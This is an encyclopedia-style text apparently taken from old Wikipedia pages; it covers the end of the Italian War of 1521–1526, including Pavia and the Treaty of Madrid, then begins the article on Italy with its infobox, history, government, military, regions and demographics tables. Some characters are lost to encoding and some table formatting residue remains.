          In early December, a Spanish force commanded by Hugo of Moncada landed near Genoa, intending to interfere in a conflict between pro-Valois and pro-Habsburg factions in the city. Francis dispatched a larger force under Michele Antonio I of Saluzzo to intercept them. Confronted by the more numerous French and left without naval support by the arrival of a pro-Valois fleet commanded by Andrea Doria, the Spanish troops surrendered. Francis then signed a secret agreement with Pope Clement VII, who pledged not to assist Charles in exchange for Francis's assistance with the conquest of Naples. Against the advice of his senior commanders, Francis detached a portion of his forces under the Duke of Albany and sent them south to aid the Pope. Lannoy attempted to intercept the expedition near Fiorenzuola, but suffered heavy casualties and was forced to return to Lodi by the intervention of the infamous Black Bands of Giovanni de' Medici, which had just entered French service. Medici then returned to Pavia with a supply train of gunpowder and shot gathered by the Duke of Ferrara; but the French position was simultaneously weakened by the departure of nearly 5,000 Grisons Swiss mercenaries, who returned to their cantons in order to defend them against marauding landsknechts.
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          In January 1525, Lannoy was reinforced by the arrival of Georg Frundsberg with 15,000 fresh landsknechts and renewed the offensive. D'Avalos captured the French outpost at San Angelo, cutting the lines of communication between Pavia and Milan, while a separate column of landsknechts advanced on Belgiojoso and, despite being briefly pushed back by a raid led by Medici and Bonnivet, occupied the town. By February 2, Lannoy was only a few miles from Pavia. Francis had encamped the majority of his forces in the great walled park of Mirabello outside the city walls, placing them between Leyva's garrison and the approaching relief army. Skirmishing and sallies by the garrison continued through the month of February. Medici was seriously wounded and withdrew to Piacenza to recuperate, forcing Francis to recall much of the Milan garrison to offset the departure of the Black Band; but the fighting had little overall effect. On February 21, the Imperial commanders, running low on supplies and mistakenly believing that the French forces were more numerous than their own, decided to launch an attack on Mirabello Castle in order to save face and demoralize the French sufficiently to ensure a safe withdrawal.


          In the early morning of February 24, 1525, Imperial engineers opened breaches in the walls of Mirabello, allowing Lannoy's forces to enter the park. At the same time, Leyva sortied from Pavia with what remained of the garrison. In the ensuing four-hour battle, the French heavy cavalry, which had proven so effective against the Swiss at Marignano ten years prior, masked its own artillery by a rapid advance and was surrounded and cut apart by landsknechts and d'Avalos's massed Spanish arquebusiers. Meanwhile, a series of protracted infantry engagements resulted in the rout of the Swiss and French infantry. The French suffered massive casualties, losing the majority of their army. Bonnivet, Jacques de la Palice, La Trmoille, and Richard de la Pole were killed, while Anne de Montmorency, Robert de la Marck, and Francis himself were taken prisoner along with a host of lesser nobles. The night following the battle, Francis gave Lannoy a letter to be delivered to his mother in Paris, in which he related what had befallen him: "To inform you of how the rest of my ill-fortune is proceeding, all is lost to me save honour and life, which is safe." Soon afterwards, he finally learned that the Duke of Albany had lost the larger part of his army to attrition and desertion, and had returned to France without ever having reached Naples. The broken remnants of the French forces, aside from a small garrison left to hold the Castel Sforzesco in Milan, retreated across the Alps under the nominal command of Charles IV of Alenon, reaching Lyon by March.
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          Madrid


          After Pavia, the fate of the French king, and of France herself, became the subject of furious diplomatic maneuvering. Charles V, lacking funds to pay for the war, decided to forgo the marriage into the House of Tudor which he had promised Henry VIII and sought instead to marry Isabella of Portugal, who would bring with her a more substantial dowry. Bourbon, meanwhile, plotted with Henry to invade and partition France, and at the same time encouraged d'Avalos to seize Naples and declare himself King of Italy. Louise of Savoy, who had remained as regent in France during her son's absence, attempted to gather troops and funds to defend against an expected invasion of Artois by English troops. Francis, convinced that he would regain his freedom if he could obtain a personal audience with Charles, pressed d'Avalos and Lannoy, who had intended to transport the king to the Castel Nuovo in Naples, to send him to Spain instead. Concerned by Bourbon's scheming, they agreed and Francis arrived in Barcelona on June 12.


          Francis was initially held in a villa near Valencia, but Charles, urged to negotiate a settlement by Montmorency and Lannoy, who suggested that the Italians would soon prove unfaithful to their Imperial alliance, ordered the king brought to Madrid and imprisoned in the citadel there. He adamantly refused, however, to receive Francis personally until the latter had accepted an agreement. Charles demanded not only the surrender of Lombardy, but also of Burgundy and Provence, forcing Francis to argue that French law prevented him from surrendering any lands possessed by the crown without the approval of Parlement, which would not be forthcoming.
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          In September, Francis fell gravely ill, and his sister, Marguerite de Navarre, rode from Paris to join him in Spain. The Imperial doctors examining the king believed that his illness was caused by his sorrow at not being received by the Emperor, and urged Charles to visit him. Charles, against the advice of his Grand Chancellor, Mercurino Gattinara, who argued that seeing Francis on his deathbed was an action motivated by mercenary concerns rather than by compassion, and was thus unworthy of the Emperor, consented; and Francis soon made a complete recovery. An attempt to escape, however, proved fruitless, and succeeded only in getting Marguerite sent back to France.


          By the beginning of 1526, Charles was faced with demands from Venice and the Pope to restore Francesco II Sforza to the throne of the Duchy of Milan, and had become anxious to achieve a settlement with the French before another war began. Francis, having argued to retain Burgundy without result, was prepared to surrender it to achieve his own release. On January 14, 1526, Charles and Francis agreed to the Treaty of Madrid, by which the French king renounced all his claims in Italy, Flanders, and Artois, surrendered Burgundy to Charles, agreed to send two of his sons to be hostages at the Spanish court, and promised to marry Charles' sister Eleanor and to restore to Bourbon the territories that had been seized from him. Francis was released on March 6 and, escorted by Lannoy, journeyed north to Fuenterrabia. On March 18, he crossed the Bidasoa north into France, while at the same time the Dauphin and his brother, who had been brought to Bayonne by Louise and Lautrec, crossed into Spain and into captivity. By this time, Francis had attained peace with England by the Treaty of Hampton Court; drafted by Thomas Wolsey and the French ambassador at the Hampton Court Palace, the treaty was signed in 1526, and was ratified by a French delegation in April 1527 at Greenwich.
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          Francis, however, had no intentions of complying with the remaining provisions of the Treaty of Madrid. On March 22, with the Pope's blessing, he proclaimed that he would not be bound by the Treaty of Madrid because it had been signed under duress. Clement VII, who had meanwhile become convinced that the Emperor's growing power was a threat to his own position in Italy, sent envoys to Francis and Henry VIII suggesting an alliance against Charles. Henry, having received nothing from the Treaty of Madrid, was receptive to the offers. In May, Francis and the Pope launched the War of the League of Cognac in an attempt to reclaim the territory the French had lost; Henry, rebuffed in his attempt to have the alliance signed in England, would not join until 1527. The war would prove unsuccessful; but Francis and his successor, Henry II, would continue to assert their claims to Milan through the remainder of the Italian Wars, only relinquishing them after the Peace of Cateau-Cambrsis in 1559.


          
            Retrieved from " http://en.wikipedia.org/wiki/Italian_War_of_1521%E2%80%931526"
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              	Capital

              (and largest city)

              	Rome

            


            
              	Official languages

              	Italian1
            


            
              	Demonym

              	Italian
            


            
              	Government

              	Parliamentary republic
            


            
              	-

              	President

              	Giorgio Napolitano
            


            
              	-

              	Prime Minister

              	Silvio Berlusconi
            


            
              	Formation
            


            
              	-

              	Unification

              	17 March 1861
            


            
              	-

              	Republic

              	2 June 1946
            


            
              	EU accession

              	25 March 1957 (founding member)
            


            
              	Area
            


            
              	-

              	Total

              	301,318km( 71st)

              116,346.5 sqmi
            


            
              	-

              	Water(%)

              	2.4
            


            
              	Population
            


            
              	-

              	October 2007estimate

              	59,619,290( 23rd)
            


            
              	-

              	October 2001census

              	57,110,144
            


            
              	-

              	Density

              	197.6/km( 54th)

              511.7/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$1.888 trillion( 8th)
            


            
              	-

              	Per capita

              	$32,319( 20th)
            


            
              	GDP (nominal)

              	2007estimate
            


            
              	-

              	Total

              	$2.067 trillion( 7th)
            


            
              	-

              	Per capita

              	$35,386( 21st)
            


            
              	Gini(2000)

              	36(medium)
            


            
              	HDI(2005)

              	▲ 0.941(high)( 20th)
            


            
              	Currency

              	Euro ( ) ( EUR)
            


            
              	Time zone

              	CET ( UTC+1)
            


            
              	-

              	Summer( DST)

              	CEST( UTC+2)
            


            
              	Internet TLD

              	.it
            


            
              	Calling code

              	+39
            


            
              	1

              	French is co-official in the Aosta Valley; Friulian is co-official in Friuli-Venezia Giulia; German and Ladin are co-official in the province of Bolzano-Bozen; Sardinian is co-official in Sardinia.
            


            
              	2

              	Before 2002: Italian Lira. The euro is accepted in Campione d'Italia (but the official currency is the Swiss Franc)
            


            
              	3

              	The .eu domain is also used, as it is shared with other European Union member states.
            

          


          Italy ( Italian: Italia), officially the Italian Republic, ( Italian: Repubblica Italiana), is located on the Italian Peninsula in Southern Europe, and on the two largest islands in the Mediterranean Sea, Sicily and Sardinia. Italy shares its northern Alpine boundary with France, Switzerland, Austria and Slovenia. The independent states of San Marino and the Vatican City are enclaves within the Italian Peninsula, while Campione d'Italia is an Italian exclave in Switzerland.


          Italy has been the home of many European cultures, such as the Etruscans and the Romans, and later was the birthplace of the movement of the Renaissance, that began in Tuscany and spread all over Europe. Italy's capital Rome was for centuries the centre of Western civilization, it also spawned the Baroque movement and seats the Catholic Church.


          Today, Italy is a democratic republic and a developed country with the 20th highest GDP per capita, the 8th-highest Quality-of-life index, and the 20th-highest Human Development Index rating in the world. It is a founding member of what is now the European Union (having signed the Treaty of Rome in 1957), and also a member of the G8 (having the world's 7th largest nominal GDP), NATO, OECD, the Council of Europe, the Western European Union, the Central European Initiative, and a Schengen state. On January 1, 2007, Italy began a two year term as a non-permanent member of the United Nations Security Council.


          


          Etymology


          The origin of the term "Italy" (It: Italia), from Latin Italia, is uncertain. According to one of the more common explanations, the term was borrowed through Greek, from Oscan Vteli, meaning "land of young cattle" (cf. Lat vitulus "calf", Umb vitlo "calf") and named for the god of cattle, Mars. The bull was a symbol of the southern Italian tribes and is often depicted goring the Roman wolf as a defiant symbol of free Italy during the Samnite Wars.


          The name Italia applied to a part of what is now southern Italy. According to Antiochus of Syracuse, it originally only referred to the southern portion of the Bruttium peninsula (modern Calabria), but by his time Oenotrians and Italy had become synonymous, and the name also applied to most of Lucania as well. The Greeks gradually came to use the name "Italia" for a greater region, but it was not until the time of the Roman conquests that the term was expanded to cover the entire peninsula.


          


          History


          


          Prehistory to Roman Empire
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          Excavations throughout Italy reveal a modern human presence dating back to the Palaeolithic period some 200,000years ago. In the 8th and 7th centuries BC Greek colonies were established all along Sicily and the southern part of the Italian Peninsula. Subsequently Romans refereed to this area as Magna Graecia as it was so densely inhabited by Greeks. Ancient Rome at first a small agricultural community founded circa 8th century BC grew the next centuries into a colossal empire encompassing the whole Mediterranean Sea, in which Ancient Greek and Roman cultures merged into one civilization, so influential that parts of it survive in modern law, administration, philosophy and arts forming the ground where Western civilization is based upon. In its twelve-century existence, it transformed from a republic to monarchy and finally to autocracy. In steady decline since 2nd century AD, the empire finally broke into two parts in 285 AD, a western and an eastern. The western part under the pressure of Goths finally dissolved leaving the Italian peninsula divided into small independent kingdoms and feuding city states for the next 14 centuries, and the eastern part as the sole heir to Roman legacy.


          


          Middle Ages
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          Following a short recapture of the peninsula by Byzantine Emperor, Justinian at 6th cen. AD from the Ostrogoths a new wave of Germanic tribes, the Lombards, soon arrived to Italy from the north. For several centuries the armies of the Byzantines were strong enough to prevent Arabs, Holy Roman Empire, or the Papacy from establishing a unified Italian Kingdom, but at the same time too weak to fully unify the former Roman lands. Nevertheless during early Middle Ages Imperial orders such as the Carolingians, the Ottonians and Hohenstaufens managed to impose their overlordship in Italy.


          Italy's regions eventually interlocked to their neighbouring empires' conflicting interests and would remain divided up to 19th century. It was during this vacuum of authority that the region saw the rise of Signoria and Comune. In the anarchic conditions that often prevailed in medieval Italian city states, people looked to strong men to restore order and disarm the feuding elites. In times of anarchy or crisis, cities sometimes offered the Signoria to individuals perceived as strong enough to save the state, most notably Della Scala family in Verona, Visconti in Milan and Medici in Florence.


          Italy during this period became notable for its merchant Republics. These city-states, oligarchical in reality, had a dominant merchant class which under a relative freedom nurtured academic and artistic advancement. The four classic Maritime Republics in Italy were Venice, Genoa, Pisa, Amalfi reflecting the temporal sequence of their dominance.


          Venice and Genoa were Europe's gateway to trade with the East, with the former producer of the renown venetian glass, whilst Florence was the capital of silk, wool, banks and jewelry. The Maritime Republics were heavily involved in the Crusades, taking advantage of the new political and trading opportunities, most evidently in the conquest of Zara and Constantinople funded by Venice.


          During late Middle Ages Italy was divided into smaller city states and territories: the kingdom of Naples controlled the south, the Republic of Florence and the Papal States the centre, the Genoese and the Milanese the north and west, and the Venetians the east. Fifteenth-century Italy was one of the most urbanised areas in Europe and the birthplace of Renaissance. Florence, in particular with the writings of Dante Alighieri (12651321), Francesco Petrarch (13041374) and Giovanni Boccaccio (c. 13131375), as well as the painting of Giotto di Bondone (12671337) is considered the centre of this cultural movement. Scholars like Niccol de' Niccoli and Poggio Bracciolini scoured the libraries in search of works of classical authors as Plato, Aristotle, Euclid, Ptolemy, Cicero and Vitruvius.


          The Black Death pandemic in 1348 left its mark on Italy by killing one third of the population. The recovery from the disaster led to a resurgence of cities, trade and economy which greatly stimulated the successive phase of the Humanism and Renaissance. In 1494 the French king Charles VIII opened the first of a series of invasions, lasting up to sixteenth century, and a competition between France and Spain for the possession of the country. Ultimately Spain prevailed through the Treaty of Cateau-Cambresis which recognised Spanish dominance over the Duchy of Milan and the Kingdom of Naples. The holy alliance between Habsburg Spain and the Holy See resulted in the systematic persecution of any Protestant movement. Austria succeeded Spain as hegemon in Italy under the Peace of Utrecht. Through Austrian domination, the northern part of Italy, gained economic dynamism and intellectual fervor. The French Revolution and the Napoleonic Wars (17961815) introduced the ideas of equality, democracy, law and nation.


          


          Unification
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          The creation of the Kingdom of Italy was the result of the efforts by Italian nationalists and monarchists loyal to the House of Savoy to establish a united kingdom encompassing the entire Italian Peninsula. In the context of 1848 liberal revolutions that swept through Europe an unsuccessful war was declared on Austria. Giuseppe Garibaldi popular amongst southern Italians led the Italian republican drive for unification in southern Italy , while the northern Italian monarchy of the Kingdom of Piedmont-Sardinia whose government was led by Camillo Benso, conte di Cavour, had the ambition of establishing a united Italian state under its rule. The kingdom successfully challenged Austrian Empire in the Second Italian War of Independence with the help of Napoleon III, liberating the Lombardy-Venetia. In 1866 Victor Emmanuel II aligned the kingdom to Prussia during the Austro-Prussian War waging the Third Italian War of Independence which allowed Italy to annex Venice. In 1870, as France during the disastrous Franco-Prussian War abandoned its positions in Rome, Italy rushed to fill the power gap by taking over the Papal State from French sovereignty. Italian unification finally was achieved, and shortly afterwards Italy's capital was moved to Rome.


          [bookmark: 20th_Century]


          20th Century


          As Northern Italy, was industrialized and modernized the south, became overcrowded, forcing millions of people to emigrate for a better life abroad. The Sardinian Statuto Albertino of 1848, extended to the whole Kingdom of Italy in 1861, provided for basic freedoms, but the electoral laws excluded the non-propertied and uneducated classes from voting. In 1913 male universal suffrage was allowed. The Socialist Party became the main political party, outclassing the traditional liberal and conservative organisations. Starting from the last two decades of the nineteenth century, Italy developed into a colonial power by forcing Somalia, Eritrea and later Libya and Dodecanese under its rule. During World War I Italy stayed at first neutral, but in 1915, signed the London Pact entering Entente, promised Trento, Trieste, Istria, Dalmatia and parts of Ottoman Empire. During the war, 600,000 Italians died and the economy collapsed. Under the Peace Treaty of Saint-Germain, Italy obtained just Bolzano-Bozen, Trento, Trieste and Istria in a victory defined as "mutilated" by public.
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          The turbulence that followed the devastations of World War I, inspired by the Russian Revolution, led to turmoil and anarchy. The liberal establishment, fearing a socialist revolution, started to endorse the small National Fascist Party, led by Benito Mussolini. In October 1922 the fascists attempted a coup (the "Marcia su Roma", i.e. March on Rome); but the king ordered the army not to intervene, instead forming an alliance with Mussolini. Over the next few years, Mussolini banned all political parties and curtailed personal liberties thus forming a dictatorship. In 1935, Mussolini subjugated Ethiopia after a surprisingly lengthy campaign. This resulted in international alienation and the exodus of the country from the League of nations. A first pact with Nazi Germany was concluded in 1936, and a second in 1938. Italy strongly supported Franco in the Spanish civil war and Hitler's annexation of Austria and Czechoslovakia.


          On April 7, 1939 Italy occupied Albania, a de facto protectorate for decades and entered World War II in 1940 taking part in the late stages of the Battle of France. Mussolini wanting a quick and swift victory which would emulate Hitler's blitzkrieg in Poland and France, invaded Greece in October 1940 via Albania but was forced to a humiliating defeat after a few months. At the same time Italy after initially conquering British Somalia, saw an allied counter-attack leading to the loss of all possessions in the Horn of Africa. Italy was also defeated by British forces in North Africa and was only saved by the urgently dispatched German Africa Corps led by Erwin Rommel. Italy was invaded by Allies in June 1943 leading to the collapse of the fascist regime and the arrest of Mussolini. In September 1943, Italy surrendered. Immediately Germany invaded its former ally with the country becoming a battlefield for the rest of the war. The country was liberated on April 25, 1945.


          In 1946 Vittorio Emanuele III's son, Umberto II, was forced to abdicate. Italy became a Republic after a referendum held on June 2, 1946, a day celebrated since as Republic Day. This was the first election in Italy allowing women to vote. The Republican Constitution was approved and came into force on January 1, 1948. Under the Paris Peace Treaties of 1947, the eastern border area was lost to Yugoslavia and the free territory of Trieste was divided between the two states. The Marshall Plan in 1949 helped to revive the Italian economy which in 1950s and 1960s enjoyed a prolonged economic growth. Italy is a founding member of European Union (EU). In the 1970s and 1980s the country experienced the Years of Lead, a period characterised by widespread social conflicts and terrorist acts carried out by extra-parliamentary movements. The assassination of the leader of the Christian Democracy , Aldo Moro, led to the end of a historic compromise between the DC and the Communist Party.


          From 1992 to 1997, the Italian economy faced significant challenges with massive government debt, extensive corruption, and organized crime's considerable influence collectively called the political system Tangentopoli. The Tangentopoli scandals involved all major parties, and between 1992 and 1994 the DC underwent a severe crisis splitting up into several factions, including the Italian People's Party and the Christian Democratic Centre. The PSI completely dissolved.


          The 1994 elections put media magnate Silvio Berlusconi into the Prime Minister's seat. However he was forced to step down in December when Lega Nord withdrew its support. In April 1996, national elections led to the victory of a centre-left coalition under the leadership of Romano Prodi. Prodi's first government became the third-longest to stay in power before he narrowly lost a vote of confidence, by three votes, in October 1998. A new government was formed by Massimo D'Alema, but in April 2000 he resigned. In 2001 the centre-right formed government and Silvio Berlusconi was able to remain in power for a complete five year mandate, but with two different governments. The first one (20012005) became the longest government in post-war Italy. Italy participated in the US-led military coalition in Iraq. The elections in 2006 won by centre-left, allowed Prodi to form his second government but in early 2008, he resigned because of the collapse of his coalition. In the ensuing new early elections in April 2008, Silvio Berlusconi convincingly won to form a government for the third time.


          


          Geography
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          Topography


          Italy occupies a long, boot-shaped peninsula, surrounded on the west by the Tyrrhenian Sea and on the east by the Adriatic Sea. It is bounded by France, Switzerland, Austria, and Slovenia to the north. The Apennine Mountains form the peninsula's backbone; the Alps form its northern boundary. The largest of its northern lakes is Garda (143 sq mi; 370km); the Po, its principal river, flows from the Alps on Italy's western border and crosses the great Padan plain to the Adriatic Sea. Several islands form part of Italy; the largest are Sicily (9,926 sq mi; 25,708km) and Sardinia (9,301 sq mi; 24,090km). There are several active volcanoes in Italy: Etna, the largest active volcano in Europe; Vulcano; Stromboli; and Vesuvius, the only active volcano on the mainland of Europe.
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          Climate


          The climate in Italy is highly diverse and can be far from the stereotypical Mediterranean climate depending on the location. Most of the inland northern areas of Italy (for example Turin, Milan and Bologna) have a continental climate often classified as Humid subtropical climate ( Kppen climate classification Cfa). The coastal areas of Liguria and most of the peninsula south of Florence generally fit the Mediterranean stereotype ( Kppen climate classification Csa). The coastal areas of the peninsula can be very different from the interior higher altitudes and valleys, particularly during the winter months when the higher altitudes tend to be cold, wet, and often snowy. The coastal regions have mild winters and warm and generally dry summers, although lowland valleys can be quite hot in summer.


          


          Government and politics
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          The 1948 Constitution of Italy established a bicameral parliament ( Parlamento), consisting of a Chamber of Deputies (Camera dei Deputati) and a Senate (Senato della Repubblica), a separate judiciary, and an executive branch composed of a Council of Ministers ( cabinet) (Consiglio dei ministri), headed by the prime minister (Presidente del consiglio dei ministri).


          The President of the Italian Republic (Presidente della Repubblica) is elected for seven years by the parliament sitting jointly with a small number of regional delegates. The president nominates the prime minister, who proposes the other ministers (formally named by the president). The Council of Ministers must obtain a confidence vote from both houses of Parliament. Legislative bills may originate in either house and must be passed by a majority in both.


          The houses of parliament are popularly and directly elected through a complex electoral system (latest amendment in 2005) which combines proportional representation with a majority prize for the largest coalition (Chamber). All Italian citizens older than 18 can vote. However, to vote for the senate, the voter must be at least 25 or older. The electoral system in the Senate is based upon regional representation. During the elections in 2006, the two competing coalitions were separated by few thousand votes, and in the Chamber the centre-left coalition (L'Unione; English: The Union) got 345 Deputies against 277 for the centre-right one (Casa delle Libert; English: House of Freedoms), while in the Senate L'Unione got only two Senators more than absolute majority. The Chamber of Deputies has 630 members and the Senate 315 elected senators; in addition, the Senate includes former presidents and appointed senators for life (no more than five) by the President of the Republic according to special constitutional provisions. As of May 15, 2006 there are seven life senators (of which three are former Presidents). Both houses are elected for a maximum of five years, but both may be dissolved by the President before the expiration of their normal term if the Parliament is unable to elect a stable government. In the post war history, this has happened in 1972, 1976, 1979, 1983, 1994, 1996 and 2008.


          A peculiarity of the Italian Parliament is the representation given to Italian citizens permanently living abroad (about 2.7million people). Among the 630 Deputies and the 315 Senators there are respectively 12 and 6 elected in four distinct foreign constituencies. Those members of Parliament were elected for the first time in April 2006 and they have the same rights as members elected in Italy.


          The Italian judicial system is based on Roman law modified by the Napoleonic code and later statutes. The Constitutional Court of Italy (Corte Costituzionale) rules on the conformity of laws with the Constitution and is a post-World War II innovation.


          


          Foreign relations
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          Italy was a founding member of the European Communitynow the European Union (EU). Italy was admitted to the United Nations in 1955 and is a member and strong supporter of the North Atlantic Treaty Organization (NATO), the Organisation for Economic Co-operation and Development (OECD), the General Agreement on Tariffs and Trade/World Trade Organization (GATT/WTO), the Organization for Security and Co-operation in Europe (OSCE), and the Council of Europe. Its recent turns as rotating Presidency of international organisations include the CSCE (the forerunner of the OSCE) in 1994 G8, the EU in 2001 and from July to December 2003.


          Italy supports the United Nations and its international security activities. Italy deployed troops in support of UN peacekeeping missions in Somalia, Mozambique, and East Timor and provides support for NATO and UN operations in Bosnia, Kosovo and Albania. Italy deployed over 2,000 troops to Afghanistan in support of Operation Enduring Freedom (OEF) in February 2003. Italy still supports international efforts to reconstruct and stabilize Iraq, but it has withdrawn its military contingent of some 3,200 troops as of November 2006, maintaining only humanitarian workers and other civilian personnel.


          In August 2006 Italy sent about 3,000 soldiers to Lebanon for the United Nations' peacekeeping mission UNIFIL. Furthermore, since 2 February 2007 an Italian, Claudio Graziano is the commander of the UN force in the country.


          


          Military
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          Article 11 of the Italian Constitution says: "Italy rejects war as an instrument of aggression against the freedoms of others peoples and as a means for settling international controversies; it agrees, on conditions of equality with other states, to the limitations of sovereignty necessary for an order that ensures peace and justice among Nations; it promotes and encourages international organizations having such ends in view".


          The Italian armed forces are under the command of the Italian Supreme Defense Council, presided over by the President of the Italian Republic. The total number of military personnel is approximately 308,000. Italy has the eighth-highest military expenditure in the world.


          The Italian armed forces are divided into four branches:


          


          Army


          The Esercito Italiano (the Italian Army) is the ground defense force of the Italian Republic. It has recently ( July 29, 2004) become a professional all-volunteer force of 115,687 active duty personnel. Its most famous combat vehicles are Dardo, Centauro and Ariete, and Mangusta attack helicopters, recently deployed in UN missions; but the Esercito Italiano also has at its disposal a large number of Leopard 1 and M113 armored vehicles.


          


          Navy


          The Marina Militare (the Italian Navy) is one of the four branches of the military forces of Italy. It was created in 1946, as the Navy of the Italian Republic, from the Regia Marina. Today's Marina Militare is a modern navy with a strength of 35,261 and ships of every type, such as aircraft carriers, destroyers, modern frigates, submarines, amphibious ships and other smaller ships such as oceanographic research ships.


          The Marina Militare is now equipping herself with a bigger aircraft carrier (the Cavour), new destroyers, submarines and multipurpose frigates. In modern times, the Marina Militare, being a member of the North Atlantic Treaty Organization (NATO), has taken part in many coalition peacekeeping operations around the world. The Marina Militare is considered the fourth strongest navy of the world.


          


          Air Force


          The Aeronautica Militare Italiana is the air force of Italy. It was founded as an independent service arm on 28 March 1923, by King Vittorio Emanuele III as the Regia Aeronautica (which translates to "Royal Air Force"). After World War II, when Italy was made a republic by referendum, the Regia Aeronautica was given its current name. Today the Aeronautica Militare has a strength of 45,879 and operates 585 aircraft, including 219 combat jets and 114 helicopters. As a stopgap and as replacement for leased Tornado ADV interceptors, the AMI has leased 30 F-16A Block 15 ADF and four F-16B Block 10 Fighting Falcons, with an option for some more. The coming years also will see the introduction of 121 EF2000 Eurofighter Typhoons, replacing the leased F-16 Fighting Falcons. Furthermore updates are foreseen on the Tornado IDS/IDT and the AMX-fleet. The transport capacity is guaranteed by a fleet of 22 C-130Js, also a completely new developed G222, called C-27J Spartan (12 aircraft ordered), will enter service replacing the G222's. The Italian air force is also planning on purchasing F-35, although they have not been distributed around the world yet.


          


          Gendarmerie


          The Carabinieri are the gendarmerie and military police of Italy, providing the republic with a national police service. At the Sea Islands Conference of the G8 in 2004, the Carabinieri was given the mandate to establish a Centre of Excellence for Stability Police Units (CoESPU) to spearhead the development of training and doctrinal standards for civilian police units attached to international peacekeeping missions.


          


          Regions, provinces, and municipalities
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          Italy is subdivided into 20 regions (regioni, singular regione). Five of these regions have a special autonomous status that enables them to enact legislation on some of their local matters, and are marked by an *. It is further divided into 109 provinces (province) and 8,101 municipalities (comuni).


          
            
              	

              	Region

              	Capital

              	Area,

              (km)

              	Population
            


            
              	1

              	Abruzzo

              	L'Aquila

              	10,794

              	1,305,000
            


            
              	2

              	Basilicata

              	Potenza

              	9,992

              	594,000
            


            
              	3

              	Calabria

              	Catanzaro

              	15,080

              	2,004,000
            


            
              	4

              	Campania

              	Naples

              	13,595

              	5,790,000
            


            
              	5

              	Emilia-Romagna

              	Bologna

              	22,124

              	4,187,000
            


            
              	6

              	Friuli-Venezia Giulia*

              	Trieste

              	7,855

              	1,208,000
            


            
              	7

              	Lazio

              	Rome

              	17,207

              	5,304,000
            


            
              	8

              	Liguria

              	Genoa

              	5,421

              	1,610,000
            


            
              	9

              	Lombardy

              	Milan

              	23,861

              	9,375,000
            


            
              	10

              	Marche

              	Ancona

              	9,694

              	1,528,000
            


            
              	11

              	Molise

              	Campobasso

              	4,438

              	320,000
            


            
              	12

              	Piedmont

              	Turin

              	25,399

              	4,341,000
            


            
              	13

              	Apulia

              	Bari

              	19,362

              	4,071,000
            


            
              	14

              	Sardinia*

              	Cagliari

              	24,090

              	1,655,000
            


            
              	15

              	Aosta Valley*

              	Aosta

              	3,263

              	123,000
            


            
              	16

              	Tuscany

              	Florence

              	22,997

              	3,619,000
            


            
              	17

              	Trentino-Alto Adige/Sdtirol*

              	Trento

              	13,607

              	985,000
            


            
              	18

              	Umbria

              	Perugia

              	8,456

              	867,000
            


            
              	19

              	Sicily*

              	Palermo

              	25,708

              	5,017,000
            


            
              	20

              	Veneto

              	Venice

              	18,391

              	4,738,000
            

          


          


          Demographics


          


          Population


          In October of 2007, Italy officially reached more than 59.5 million persons. Italy currently has the fourth largest population in the European Union, and the 23rd largest population in the world. Italy's population density at 196.1 persons per kilometre is the 5th highest in the European Union. The highest density is in Northern Italy, as one third of the country contains almost half of the Italian population. After the WW2, Italy saw an economic boom which lead to rural population moving to the cities, and in the same time it turned from a nation characterized by massive emigration to a net immigrant-receiving country. High fertility persisted until the 70s when it plunged below replacement so as of 2007, one in five Italians was pensioners. Despite this, thanks mainly to the immigration of 80s and 90s, in 2000s Italy saw natural population growth for the first time in years.


          


          Largest cities
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          Italian cities with a population of 300,000 or more ( ISTAT data, December 2006):


          
            
              	Pos.

              	Common

              	Region

              	Prov.

              	Inhabitants
            


            
              	1

              	Rome

              	Lazio

              	RM

              	2,705,603
            


            
              	2

              	Milan

              	Lombardy

              	MI

              	1,303,437
            


            
              	3

              	Naples

              	Campania

              	NA

              	975,139
            


            
              	4

              	Turin

              	Piedmont

              	TO

              	900,569
            


            
              	5

              	Palermo

              	Sicily

              	PA

              	666,552
            


            
              	6

              	Genoa

              	Liguria

              	GE

              	615,686
            


            
              	7

              	Bologna

              	Emilia-Romagna

              	BO

              	373,026
            


            
              	8

              	Florence

              	Tuscany

              	FI

              	365,966
            


            
              	9

              	Bari

              	Apulia

              	BA

              	325,052
            


            
              	10

              	Catania

              	Sicily

              	CT

              	301,564
            

          


          


          Metropolitan areas


          According to the OECD, these are the major Italian metropolitan areas:


          
            
              	Metropolitan area

              	Inhabitants
            


            
              	Milan

              	7.4million
            


            
              	Rome

              	3.8million
            


            
              	Naples

              	3.1million
            


            
              	Turin

              	2.4million
            

          


          


          Migration and ethnicity


          Italy is a destination for immigrants from all over the world. At the end of 2006, foreigners comprised 5% of the population or 2,938,922 persons, an increase of 270,000 since the previous year. In some Italian cities, such as Brescia, Milan, Padua, and Prato, immigrants total more than 10% of the population.


          The most recent wave of migration has been from surrounding European nations, particularly Eastern Europe, replacing North Africans as a major source of migrants. Around 500,000 Romanians are officially registered as living in Italy, but unofficial estimates put the actual number at double that figure or perhaps even more. As of 2006, migrants came from Eastern Europe (39.14%), North Africa (17.77%), Asia (17.43%), Latin America (8.90%). Smaller groups came from sub-Saharan Africa, North America and other European Union nations.


          
            
              	Ethnic group

              	Population

              	% of total*
            


            
              	Ethnic Italian

              	&0000000056000000.00000056,000,000

              	94.96%
            


            
              	Romanian

              	&0000000000550000.000000550,000

              	0.93%
            


            
              	Arab

              	&0000000000485000.000000485,000

              	0.82%
            


            
              	Albanian

              	&0000000000348000.000000348,000

              	0.60%
            


            
              	Asian (non-Chinese)

              	&0000000000326000.000000326,000

              	0.55%
            


            
              	German

              	&0000000000287503.000000287,503

              	0.49%
            


            
              	South American

              	&0000000000239000.000000239,000

              	0.41%
            


            
              	Black African

              	&0000000000210000.000000210,000

              	0.36%
            


            
              	Chinese

              	&0000000000128000.000000128,000

              	0.22%
            


            
              	Ukrainian

              	&0000000000107000.000000107,000

              	0.18%
            


            
              	Other

              	&0000000000257000.000000257,000

              	0.43%
            


            
              	* Percentage of total population
            

          


          


          Religion


          
            
              	Italy religiosity
            


            
              	religion

              	

              	

              	percent

              	
            


            
              	Christianity

              	
                
                  
                

              

              	90%
            


            
              	Irreligion

              	
                
                  
                

              

              	7%
            


            
              	Islam

              	
                
                  
                

              

              	2%
            


            
              	Others

              	
                
                  
                

              

              	1%
            


            
              	
            

          


          Roman Catholicism is by far the largest religion in the country, although the Catholic Church is no longer officially the state religion. 87.8% of Italians identified as Roman Catholic , although only about one-third of these described themselves as active members (36.8%).


